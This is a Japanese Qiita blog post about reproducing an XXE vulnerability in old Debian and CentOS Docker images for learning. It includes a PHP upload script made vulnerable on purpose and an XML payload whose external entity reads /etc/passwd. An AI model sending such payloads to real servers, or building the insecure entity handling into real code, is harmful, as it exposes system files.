LoginSignup
0
0

More than 5 years have passed since last update.

Dockerで古いOSをインストールして脆弱性を再現する

Posted at

年末のPHP Conferenceで徳丸浩さんがデモしていたXXEの脆弱性を再現したくてDockerを探していたら、ぎりぎりDebian6が残っていたので試してみた。

Debian

2018年5月にDebian6はLTSも終わっているが、Dockerhubでは7.11が今も残っている。

https://hub.docker.com/_/debian/
https://wiki.debian.org/DebianReleases

バージョン確認コマンドのレスポンスは下記の通り。

root@f0753e2e4a49:/# cat /etc/debian_version 
7.11

root@f0753e2e4a49:/# php --version
PHP 5.4.45-0+deb7u14 (cli) (built: May  9 2018 16:47:00) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2014 Zend Technologies

root@f0753e2e4a49:/# openssl version  
OpenSSL 1.0.1t  3 May 2016

root@f0753e2e4a49:/# apt-cache show libxml2
Package: libxml2
Version: 2.8.0+dfsg1-7+wheezy12

こんな感じのファイルを置いて、

xxe.php
<?php
$doc = new DOMDocument();
$doc->substituteEntities = true;
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?>
<body>
<form action="xxe.php" method="post" enctype="multipart/form-data">
  <input type="file" name="user" />
  <input type="submit"/>
</form>
posted<br>
name: <?php echo htmlspecialchars($name); ?><br>
addr: <?php echo htmlspecialchars($addr); ?><br>
</body>

PHPビルトインサーバを起動して

$ php -S 0.0.0.0:8000

こんな感じで外部エンティティを呼び出すXMLファイルをアップロードすれば、手軽にXXE脆弱性を確認できる。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<user>
  <address>&pass;</address>
</user>

libxml2が2.8なのでXXE脆弱性があるはずだが、パッチが当たってるようで、PHPで$doc->substituteEntities = true;を追加しなければ再現しなかった。この時点で脆弱性でも何でもないが、XXEはともかく、話題のSSRFの概念実証に使えそうかな。

CentOS

続けてCentOSは6.6が入れられる。

こちらのバージョンは下記の通り。

[root@565cfd10bf9f /]# php --version
PHP 5.3.3 (cli) (built: Mar 22 2017 12:27:09) 
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies

[root@565cfd10bf9f /]# openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013

[root@565cfd10bf9f /]# yum list | grep libxml2
libxml2.x86_64                             2.7.6-14.el6_5.2              @CentOS/$releasever

PHPが5.4以前なのでビルトインサーバを立ち上げられず、動作確認のためにサーバを立てないといけないのが面倒そうだ。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0